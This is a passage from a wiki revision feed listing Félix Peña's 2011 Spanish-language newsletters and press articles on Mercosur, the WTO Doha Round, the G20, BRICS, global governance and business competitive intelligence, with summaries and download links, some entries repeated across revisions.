Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===A la hora de integrar naciones no existe GPS===&lt;br /&gt;
&lt;br /&gt;
Diario El Cronista, 9 de Noviembre de 2011&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-11-09-a-la-hora-de-integrar-naciones-no-existe-gps Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Integración regional e inserción internacional de América Latina en un mundo de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Septiembre de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-09-america-latina-mundo-multiples-opciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Aportes para un necesario debate sobre el futuro de la OMC===&lt;br /&gt;
&lt;br /&gt;
Diario El Cronista, 4 de Agosto 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-08-04-aportes-para-un-necesario-debate-sobre-futuro-omc Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Las agendas de un Mercosur que procura actualizarse===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-agendas-de-un-mercosur-que-procura-actualizarse Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Impulso político e imaginación técnica===&lt;br /&gt;
&lt;br /&gt;
Diario El Argentino, 31 de Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-31-impulso-politico-e-imaginacion-tecnica Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2032</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2032"/>
		<updated>2011-08-29T23:24:59Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* ARTÍCULOS Y NOTAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN ¿Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra?===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
